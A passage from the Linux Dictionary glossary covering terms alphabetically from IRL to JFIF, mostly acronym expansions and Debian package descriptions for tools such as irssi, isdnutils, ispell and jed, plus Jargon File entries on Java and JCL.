<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRL

In Real Life (slang, Usenet, IRC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRLAN

InfraRed Local Area Network (IRDA, LAN, TTP), "IrLAN" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRLAP

InfraRed Link Access Protocol (IRDA, IRLAP), "IrLAP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRLMP

InfraRed Link Management Protocol (IRDA, IRLAP), "IrLMP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRLMPTP

InfraRed ??? (IRDA), "IrMLP/TP" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRLPT

InfraRed Line PrinTer (IRDA, LPT, TTP), "IrLPT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRM

Information Resources Management From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

irm

Web-based asset tracking system for IT departments and help desks IRM is a powerful web-based asset tracking system built for IT departments and help desks. It keeps detailed information about each computer, as well as a complete history and TODO repair list tracking. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

irmp3

A Multimedia Audio Jukebox application. With irmp3 you can control mpg321 (currently, other players are planned) to play songs, lists, and lists of play lists.. irmp3 features 'environments' that you can set to play a certain type of music, alarms, can be controlled over the network, via remote control (requires LIRC) and a number of other useful features, including LCD display and keypad input support via LCDProc. It is most useful for those building MP3 jukeboxes with remote or keypad controls. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRMX

Intel Real time Multitasking eXecutive (OS, Intel), "iRMX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IrNET

A protocol allowing to carry TCP/IP traffic between two IrDA peers in an efficient fashion. It is a thin layer, passing PPP packets to IrTTP and vice versa. It uses PPP in synchronous mode, because IrTTP offer a reliable sequenced packet service (as opposed to a byte stream). In fact, you could see IrNET as carrying TCP/IP in a IrDA socket, using PPP to provide the glue. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IROBEX

InfraRed OBject EXchange protocol (IRDA, TTP), "IrOBEX" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

iroffer

IRC file distribution bot iroffer is a fileserver for irc (commonly referred to as a DCC bot). It uses the DCC feature or irc to send files to other users. iroffer will connect to an irc server and let people request files from it. iroffer is not a script, it is a standalone executable written in c++. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRP

I/O Request Packet (I/O) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRQ

Interrupt ReQuest From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRR

Interrupt Request Register (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRRP

Inter-DOMAIN Routing Protocol (ISO 10747) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRSG

Internet Research Steering Group (org., Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

irssi

An IRC client from the author of yagirc, Timo Sirainen. It has a text, GTK and GNOME interface (with integration to the GNOME panel). Irssi's features include configurability, smart nick completion, DCC resuming, support for plugins and perl scripting. This package includes plugins, documentation, config files, help files and themes for the irssi IRC client. At this moment, for compatibility reasons, these files are usable only by irssi-gtk and irssi-gnome. Plugins, documentation etc. for the text-mode version are included in irssi-text. The GTK and GNOME versions of irssi haven't been developed since early 2000, and currently lack much of irssi-text's functionality. Other irssi packages are: irssi-text: text-mode version of the irssi IRC client
 irssi-gnome: GNOME version of the irssi IRC client
 irssi-gtk: GTK version of the irssi IRC client
 irssi-scripts: Perl scripts for irssi-text From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

IRT

- IRTF** Interrupt Response Time From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- IRTF** Internet Research Task Force (IAB, Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- IRTP** Internet Reliable Transaction Protocol (RFC 938) From VERA

ISAPI

Internet Server Application Programmer's Interface (MS, C/S, WWW, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isapnptools

ISA Plug-And-Play configuration utilities. This program is suitable for all systems, whether or not they include a PnP BIOS. In fact, a PnP BIOS adds some complications because it may already activate some cards so that the drivers can find them, and these tools can unconfigure them, or change their settings causing all sorts of nasty effects. From Debian 3.0r0 APT

ISDN

Integrated Services Digital Network (ITU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ISDN (Integrated Services Digital Network)

A digital telecommunications standard allowing communication channels to carry voice, video, and data simultaneously, see module three. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ISDN (Integrated Services Digital Network)

Basically a way to move more data over existing regular phone lines. ISDN is available to much of the USA and in most markets it is priced very comparably to standard analog phone circuits. It can provide speeds of roughly 128,000 bits-per-second over regular phone lines. In practice, most people will be limited to 56,000 or 64,000 bits-per-second. Unlike DSL, ISDN can be used to connect to many different locations, one at a time, just like a regular telephone call, as long as the other location also has ISDN. From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdn4k-utils

The isdn4k-utils package contains a collection of utilities needed for configuring an ISDN subsystem. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnactivecards

support for active ISDN cards and CAPI If you have an active ISDN card, you will need things like firmware and the means to load that firmware into that card. This is contained in this package. Also CAPI stuff is contained in this package (currently only certain active cards support CAPI). See `/usr/share/doc/isdnactivecards/*` for more information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnbutton

Start and Stop ISDN connections and display status. This is a small X based program that allows for easy activation and deactivation of the demand-dialing feature of the Linux-ISDN subsystem. It can also be used to initiate connections without using the demand-dialing feature. It displays a symbolized traffic light. When the light is red, no demand-dialing is possible; when it is yellow, demand-dialing has been enabled but there is currently no connection using any of the ISDN network devices; when it is green, there is at least one active connection using an ISDN network device. You can interactively switch between red and yellow/green by clicking with the left mouse button into the window; the right mouse button pops up a menu to select between different actions --- this can be used if you want to connect to different providers. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdneurofile

ISDN eurofile transfer tool If you want to send / receive files over an ISDN line with the eurofile system, you need this package. Not used much outside of Germany I believe (and not much there either). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnlog

ISDN connection logger isdnlog logs all ISDN connections, and can calculate the cost of calls. If sufficient data is available, it can even recommend which alternate carrier would have been cheaper for a given call. For countries where calls are charged per discrete unit, it can disconnect the line just before the next unit starts. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ISDNUP

ISDN User Part (ISDN, GSM, mobile-systems), "ISDN-UP" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnutils

Most important ISDN-related packages and utilities. Note that for an external ISDN adapter, you do NOT need this package or any of the related ones. This is only for use with an internal ISDN adapter. Choosing this package will select the most frequently used components. The current version of isdnutils is split up into component packages, to make it easier to fine-tune what is installed; hardly anyone needs everything. However, it's not possible to automatically select what is needed This is a transitional package to ease upgrading, and choosing this selects the most important new packages. After upgrading, this package can be safely removed. The component packages selected by this are: isdnutils-base basic set of ISDN utilities. ippdd for networking over ISDN with syncPPP. isdnlog for logging ISDN calls (and much more). isdnutils-xtools for X ISDN apps (currently only xisdnload and xmonisdn) isdnvboxserver ISDN answering machine, things needed on the server system. isdnvboxclient ISDN answering machine, client side (vbox). Not selected (although dselect will suggest some) are: isdnutils-doc for extensive documentation (basic docs are of course included with each package). isdneurofile file transfer over ISDN with the special eurofile protocol. pppdcapiplugin a plugin for the normal ppp daemon that uses CAPI to communicate over ISDN. isdnactivecards firmware for mostly active ISDN cards, and other related tools. libcapi20 library package needed by CAPI applications (will be selected automatically when needed). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnutils-base

ISDN utilities, the basic (minimal) set These utilities are the basic set of ISDN utilities that you need when you have an ISDN card installed. For complete functionality comparable to the old isdnutils

package, you also need the following packages: `ippd` for networking over ISDN with `syncPPP` `isdnlog` for logging ISDN calls (and much more) `isdnutils-xtools` for X ISDN apps (currently only `xisdnload` and `xmonisdn`) `isdnutils-doc` for extensive documentation (basic docs are of course included with each package) `isdnvboxserver` ISDN answering machine, things needed on a server system `isdnvboxclient` ISDN answering machine, client side (`vbox`) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnutils-xtools

ISDN utilities that use X These are the graphical utilities for ISDN, `xmonisdn` and `xisdnload`. They provide, each in their own way, a visual indication of the status of the ISDN lines, so that it is directly obvious when there is a connection, for example. This has been separated out of the main `isdnutils` package so that if you don't run X but do need ISDN, you don't have to include the X libraries unnecessarily. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnvbox

ISDN answering machine, client and server Let your debian system be your answering machine! Messages can be accessed remotely, automatically emailed, etc. This package is a helper to install both the client (with which you listen to the messages) and the server (with which the messages are recorded) parts of the software. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnvboxclient

ISDN answering machine, client Let your debian system be your answering machine! Messages can be accessed remotely, automatically emailed, etc. This is the client part of the software, with which you can listen to the messages. Those messages are recorded on a system with the server part of the software (`isdnvboxserver`); that system may be elsewhere, as long as it can be connected to via a network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

isdnvboxserver

ISDN answering machine, server Let your debian system be your answering machine! Messages can be accessed remotely, automatically emailed, etc. This is the server part of the software. This is what needs to be installed on the system with the ISDN card. To actually listen to the recorded messages you need the client package (`isdnvboxclient`) somewhere, not necessarily on the same system. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ISDV

Integrated Software Development and Verification From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ispell

format of ispell dictionaries and affix files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ispell

International Ispell (an interactive spelling corrector) Ispell corrects spelling in plain text, LaTeX, sgml/html/xml, and nroff files. [x]Emacs and jed have nice interfaces to ispell, and ispell works from many other tools and from the command line as well. No dictionaries are included in this package. Ispell looks in /usr/lib/ispell/default.{aff,hash} and in /usr/share/dict/words by default. Those files may be provided, respectively, by an ispell-dictionary package and a wordlist package. (You must have an ispell dictionary before you can use ispell; a wordlist is only required for ispell's (L)ookup command.) This ispell package supports either the "new-style" idict-<language> dictionaries or the "old-style" i<language> dictionaries. As of February 2001, only old-style dictionaries are available, because the dictionaries-common standards and package have not been finalized. When dictionaries-common and the idict-<language> dictionaries become available, this version of ispell will be able to use them. (For more information, please see the dictionaries-common package and ispell's Debian changelog). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

ja-trans

Japanese gettext message files Japanese message files from japo@flatout.org and ja@li.org. This package includes: – net-tools 1.51: incomplete – textutils 2.0: Bug#43846 Done: man-db, wget, gettext (Bug#43844), fileutils(Bug#43843), tar, grep, sh-utils, glibc 2.1.94, texinfo Sponsored by Fumitoshi UKAI <ukai@debian.or.jp> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JAAS

Java Authentication and Authorization Service (Java, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jabber

Daemon for the jabber.org Open Source Instant Messenger Jabber is a Free Instant Messaging System In this Package you will find jabberd, a message transport server based on a XML Message Routing Infrastructure. All this high-tech is simply used to provide you with your own IM Server. See <http://www.jabber.org/> for more details. Jabber supports connecting to AIM, ICQ, IRC, MSM and a lot of others, so you can use all available IM systems from one client. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jablicator

Share a set of package choices Allows others to easily replicate your package choices via Debian's apt-get utility. Generating an apt-gettable, custom debian package, with the appropriate dependencies. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jack

Rip and encode CDs with one command Jack has been developed with one main goal: making MP3s or OGGs without having to worry. There is nearly no way that an incomplete rip goes unnoticed, e.g. jack compares WAV and OGG file sizes when continuing from a previous run. Jack also checks your HD space before doing anything (even keeps some MB free). Jack is different from other such tools in a number of ways: – it supports different rippers and encoders – it is very configurable – it doesn't need X – it can "rip" virtual CD images like the ones created by cdrdao – when using cdparanoia, cdparanoia's status information is displayed for all tracks, so you can see if something went wrong – it uses sophisticated disk space management, i.e. it schedules it's ripping/encoding processes depending on available space. – freedb query, file renaming and id3 tagging – it can resume work after it has been interrupted. If all tracks have been ripped, it doesn't even need the CD anymore, even if you want to do a freedb query. – it can do a freedb query based on OGGs alone, like if you don't remember from which CD those OGGs came from. – freedb submissions From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JAD

Joint Application Development From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jade

James Clark's DSSSL Engine Jade is an implementation of the DSSSL style language. The jade engine is a useful tool (in conjunction with a DSSSL style sheet) for translating SGML documents into other formats. Jade can currently generate SGML, RTF, and TeX. In conjunction with the "jadetex" TeX style, it can generate quite nice output. Author: James Clark <jjc@jclark.com> Homepage: <http://www.jclark.com/jade/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JADE

Jasmine Application Development Environment (Jasmine, DB, CA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jadetex

JadeTeX contains the additional LaTeX macros necessary for taking JadeTeX output files and processing them as TeX files (to obtain DVI, PostScript, or PDF files, for example). From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jadetex

LaTeX macros for SGML to DVI/PS/PDF conversion with Jade JadeTeX provides a set of LaTeX macros to process the TeX files generated by Jade or OpenJade. Using Jade and JadeTeX you can print every SGML document for which you have or make a DSSSL description. Homepage: <http://jadetex.sourceforge.net/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jadetex

processing tex files produced by the backend of Jade. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jags

Just Another GTK+ Samba Client Jags is a Gtk+ based "windows network neighbourhood browser". The program parses the output from smbclient (part of the samba-package) and use this to display a graphic view of the network. This program does the parsing with help from shell- scripts. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jail

Just Another ICMP Logger Jail (Just Another ICMP Logger) is a small program which runs in the background, and can be configured to log at different syslog levels the reception of various ICMP packets. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Jailbait

JAILBAIT's Another Interesting Linux But Also Intimidating Too: A fully-functional Linux distribution that fits into 16 MB. Many modern net-appliance-type products such as the Netpliance iOpener have an internal SanDisk device that is 16 MB in size. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jam

A replacement for make This is the Jam/MR program as published by Perforce. For a version with additional features see the `ftjam' package. A powerful and highly customizable utility to build programs and other things, that can run on Un*x, Nt, VMS, OS/2 and Macintosh MPW, using portable Jamfiles. It can build large projects spread across many directories in one pass. It takes some time to fully apprehend, as there's no tutorial available yet, especially when one's already accustomed to make(1), but there's no comparison in power when comparing these 2 tools. Standard rules: - can automatically extract header dependencies for C/C++ (you can customize for you own language) -

provide for automatic "clean", "install", "uninstall" rules, so that an automake-like tool is not needed
From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JANET

jargon

The definitive compendium of hacker slang. This is the Jargon File, a comprehensive compendium of hacker slang illuminating many aspects of hackish tradition, folklore, and humor. The file is in info format, but includes an HTML page with links to the home site. Note that this package is now out-of-date, because the upstream author is no longer maintaining an info version of the file. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JASS

Javascript-Accessible Style Sheets (HTML, WWW, JavaScript) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java

A Computer language developed by SUN which allows you to write software which works on a wide range of computers . JAVA is currently the programming language of choice on the Internet and it allows tiny programs to be created and sent over the network. More information is available at <http://java.sun.com/> From Glossary of Distance Education and Internet Terminology
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java

A programming language based on C developed in 1996 by Sun Microsystems. It was developed for network computing because it allows for mini-applications, called "applets" to be distributed to different computer clients connected to the network. An applet will run identically on any existing computer environment. Browsers like Netscape & Internet Explorer make use of Java. From Faculty-of-Education <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java

An object-oriented language originally developed at Sun by James Gosling (and known by the name "Oak") with the intention of being the successor to C++ (the project was however originally sold to Sun as an embedded language for use in set-top boxes). After the great Internet explosion of 1993-1994, Java was hacked into a byte-interpreted language and became the focus of a relentless hype campaign by Sun, which touted it as the new language of choice for distributed applications. Java is indeed a stronger and cleaner design than C++ and has been embraced by many in the hacker community - but it has been a considerable source of frustration to many others, for reasons ranging from uneven support on different Web browser platforms, performance issues, and some notorious deficiencies of some of the standard toolkits (AWT in particular). Microsoft's determined attempts to corrupt the language (which it rightly sees as a threat to its OS monopoly) have not helped. As of 1999, these issues are still in the process of being resolved. Despite many attractive features and a good design, it is difficult to find people willing to praise Java who have tried to implement a complex, real-world system with it (but to be fair it is early days yet, and no other language has ever been forced to spend its childhood under the limelight the way Java has). On the other hand, Java has already been a big win in academic circles, where it has taken the place of Pascal as the preferred tool for teaching the basics of good programming to the next generation of hackers. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java

An object-oriented programming language developed by Sun Microsystems. to be operating system independent. Java is often used on Web servers. Java applications and applets are sometimes offered

as downloads to run on users' systems. Java programming can produce applications, or smaller Java applets. Java is a somewhat simplified version of the C++ language, and is normally interpreted rather than compiled. (Also, see JIT Compiler.) From I-gloss

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java

Java is a network-friendly programming language invented by Sun Microsystems. Java is often used to build large, complex systems that involve several different computers interacting across networks, for example transaction processing systems. Java is also becoming popular for creating programs that run in small electronic devices, such as mobile telephones. A very common use of Java is to create programs that can be safely downloaded to your computer through the Internet and immediately run without fear of viruses or other harm to your computer or files. Using small Java programs (called "Applets"), Web pages can include functions such as animations, calculators, and other fancy tricks.

From Matisse <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Java Applets

Small Java programs that are embedded in a Web page and run within a browser, not as a stand-alone application. Applets cannot access some resources on the local computer, such as files and serial devices (modems, printers, etc.), and generally cannot communicate with other computers across a network. From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

java-common

Base of all Java packages This package must be installed in the system if a Java environment is desired. It covers useful information for Java users in Debian GNU/Linux, including: – The Java policy document which describes the layout of Java support in Debian and how Java packages should behave. – The Debian-Java-FAQ which provides information on the status of Java support in Debian, available compilers, virtual machines, Java programs and libraries as well as on legal issues. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

java2html

Highlight Java and C++ sources for WWW presentation java2html can highlight your source for presentation in the WWW. It can also be used as a CGI script and can detect whether the client browser supports compressed data to save bandwidth. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JavaBeans

A component architecture for the Java programming language, developed initially by Sun, but now available from several other vendors. JavaBeans components are called "beans". From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JAVAOS

Java Operating System (Java), "JavaOS" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JavaScript

JavaScript is a programming language that is mostly used in web pages, usually to add features that make the web page more interactive. When JavaScript is included in an HTML file it relies upon the browser to interpret the JavaScript. When JavaScript is combined with Cascading Style Sheets(CSS), and later versions of HTML (4.0 and later) the result is often called DHTML. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JavaScript

Misconception: JavaScript is completely different than Java. Netscape renamed their "LiveScript" in order to take advantage of all the marketing hype surrounding Java. Both Java and JavaScript inherit similar syntax from their C/C++ parents, but they were designed completely independently. From Hacking-Lexicon

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JavaScript

Netscape's simple, cross-platform, World-Wide Web scripting language, only very vaguely related to Java. JavaScript is intimately tied to the World-Wide Web, and currently runs in only three

environments – as a server–side scripting language, as an embedded language in server–parsed HTML, and as an embedded language run in browsers. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

jaxml

Python module for generating XML documents jaxml is a python module that defines a class XML_document, which allows easy and trouble–free generation of XML documents. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JAXP

Java API for XML Processing (Java, API, XML) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

jbibtex

make a bibliography for ASCII p(La)TeX / NTT j(La)TeX This is JBibTeX, a Japanized BibTeX based on the original BibTeX 0.99c. JBibTeX can handle Kanji characters (EUC–JP). This package contains library files for JBibTeX. You need to install jbibtex–bin to use JBibTeX. This is a part of ASCII pTeX distribution, but you can use this program not only with ASCII p(La)TeX but also with NTT j(La)TeX. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JBIG

Joint Bi–level Image expert Group (org., JTC1) From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JBLinux

A distribution for workstations and servers. JBLinux was at version 2.2 as of August 10, 2001. From LWN Distribution List <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

jbofihe

A parser for the lojban language jbofihe is a command–line driven program with the following functions: * Checking grammatical correctness of Lojban text * Displaying successfully analysed text with nesting of grammatical constructs shown (either inline or as a tree) * Displaying approximate word–for–word English translations of the Lojban words, with some limited 'part–of–speech' adjustment of the English forms. * Showing which sumti fill each of the places of each selbri From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JCALs

Joint Computer–Aided Logistics System (CAL) From VERA

<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JCF

JESSI Common Framework From VERA
<http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

JCL

/J–C–L/ n. 1. IBM's supremely rude Job Control Language. JCL is the script language used to control the execution of programs in IBM's batch systems. JCL has a very fascist syntax, and some versions will, for example, barf if two spaces appear where it expects one. Most programmers confronted with JCL simply copy a working file (or card deck), changing the file names. Someone who actually understands and generates unique JCL is regarded with the mixed respect one gives to someone who memorizes the phone book. It is reported that hackers at IBM itself sometimes sing "Who's the

breeder of the crud that mangles you and me? I-B-M, J-C-L, M-o-u-s-e" to the tune of the "Mickey Mouse Club" theme to express their opinion of the beast. 2. A comparative for any very rude software that a hacker is expected to use. "That's as bad as JCL." As with COBOL, JCL is often used as an archetype of ugliness even by those who haven't experienced it. See also IBM, fear and loathing. A (poorly documented, naturally) shell simulating JCL syntax is available at the Retrocomputing Museum <http://www.ccil.org/retro>. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JCL

Job Control Language (IBM, OS/360) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JCL (Job Control Language)

In mainframe computing, a programming language that allows programmer to specify batch processing instructions, which the computer then carries out. The abbreviation JCL refers to the job control language used in IBM mainframes. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JCSS

??? (org.) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JCW

Java Callable Wrapper (MS, Java, VM, COM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JDBC

Java standard DataBase Connectivity (DB, Java, Sun, Borland, ODBC, API) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jde

Java Development Environment for Emacs or XEmacs. The Java Development Environment (JDE) is an Emacs Lisp package that interfaces Emacs to third-party Java application development tools, such as those provided by JavaSoft's Java Development Kit (JDK). The result is an integrated development environment (IDE) comparable in power to many commercial Java IDEs. Features include: – source code editing with syntax highlighting and auto indentation – compilation with automatic jump from error messages to responsible line in the source code. – run Java application in an interactive (comint) Emacs buffer – integrated debugging with interactive debug command buffer and automatic display of current source file/line when stepping through code – browse JDK doc, using the browser of your choice – browse your source code, using the Emacs etags facility or a tree-structured speedbar. – easily and infinitely customizable From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JDK

Java Development Kit (Sun, Java) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JDK (Java Development Kit)

A free software development package from Sun Microsystems that implements the basic set of tools needed to write, test and debug Java applications and applets. From Matisse Versions are also available from IBM and open source groups for a variety of platforms including Linux. From Binh <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jdresolve

fast alternative to apache logresolve The jdresolve application resolves IP addresses into hostnames. To reduce the time necessary to resolve large batches of addresses, jdresolve opens many concurrent connections to the DNS servers, and keeps a large number of text lines in memory. These lines can have any content, as long as the IP addresses are the first field to the left. This is usually the case with most formats of HTTP and FTP log files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jed

Editor for programmers. (textmode version) Jed offers: Extensible in a language resembling C. Completely customizable. Capable of read GNU info files from within JED's info browser. A variety of programming modes (with syntax highlighting) are available including Pascal, Java, Perl, C, C++, FORTRAN, TeX, HTML, SH, IDL, DCL, NROFF, PostScript, Basic. Folding support. Edit TeX files with AUC-TeX style editing (BiBTeX support too). Rectangular cut/paste; regular expressions; incremental searches; search replace across multiple files; multiple windows; multiple buffers; shell modes; directory editor (dired); mail; rmail; ispell; and much more. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JEDEC

Joint Electronic Devices Engineering Council (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jedstate

Extended mind for John E. Davis' text editor jed Jedstate is some sort of an extended mind for John E. Davis' splendid text editor jed. Using jedstate and jed's startup and exit hooks as a glue jed "remembers" the position of the cursor for all visited files and will automatically jump to that position whenever the file is revisited. The database is purgeable based on a time-since-last-view criterion. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JEIDA

Japan Electronics Industry Development Association (org., Japan) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jered

Simple full screen text editor with colored C/C++ syntax JERED is a full page text editor for Unix. It is based on the text editor E from IBM. The old name was JE, which meant Jerome's Editor. Now it is called JERED, which means JErome's Renamed EDitor. This editor features: automatic color enhancement of C and C++ syntax, recording & playback of macros, multi-file sessions, automatic screen size recognition, block movements, shell escapes, custom user configuration, small run size (about 45K with a shared ncurses library, and about 170K with a static ncurses lib, very fast loading, and straightforward design. Lightweight & cool. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JES

Job Entry Subsystem (IBM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jesred

A redirector for Squid Jesred is a very fast and highly configurable redirector for the Squid Internet Object Cache. It was derived from Chris Foote's and Wayne Piekarski's Squirm 1.0 betaB and some code from Squid itself, but is about 2-3x faster than the original version and has some additional features. Jesred has the following features: * uses only a very small amount of memory (a little bit more than squirm 1.0 betaB, but still less than perl ;-)) * able to rewrite GET and optionally ICP_QUERY requests as well * one global configuration file * one IP access control file which supports CIDR notation only (i.e. subnet/mask). Thus only URL requests from the specified * subnets/clients are rewritten, if necessary. * one rewrite rules configuration file (regular expression matching and replacement) * optionally logging of common and error messages to a file * optionally logging of URL rewrites to a separate log file, incl. the number of the rule, which has been used to rewrite the URL * able to re-read all its configuration files on the fly by sending a HUP signal to the process. That's why there is no need to restart Squid, if you want to: 1.change the used log file name[s] (useful for log file rotation) 2.enable/disable logging 3.enable/disable debug mode if compiled with DEBUG option 4.enable/disable URL rewriting of ICP_QUERY (sibling) requests 5.change the IP access patterns 6.change the redirect rules * If you mess up configuration file[s], Jesred runs in Echo Mode (always echos back a newline - i.e. no URL replacement) and squid keeps working. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JESS

Java Expert System Shell (Java, Shell) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jester

X-based board game similar to Othello It can be played head-to-head on the console or by a single player against the computer. Jester allows you to waste valuable time that could otherwise be spent playing Solitaire. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

jfbterm

Japanized framebuffer terminal with Multilingual Enhancement. Jfbterm/me is a Japanized framebuffer terminal with Multilingual Enhancement. It can display ISO-8859-1, ISO-8859-2, ISO-2022-JP, EUC-JP, ISO-2022-CN, CN-GB, ISO-2022-KR, EUC-KR and Wansung. BIG5 is planned to support. It supports 8 bpp PACKED-PIXELS PSEUDOCOLOR and (15|16|24|32) bpp PACKED-PIXELS TRUECOLOR framebuffers (vga16fb is supported). From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JFC

Java Foundation Classes (Java, API) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JFET

Junction Field Effect Transistor (IC, FET) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

JFIF

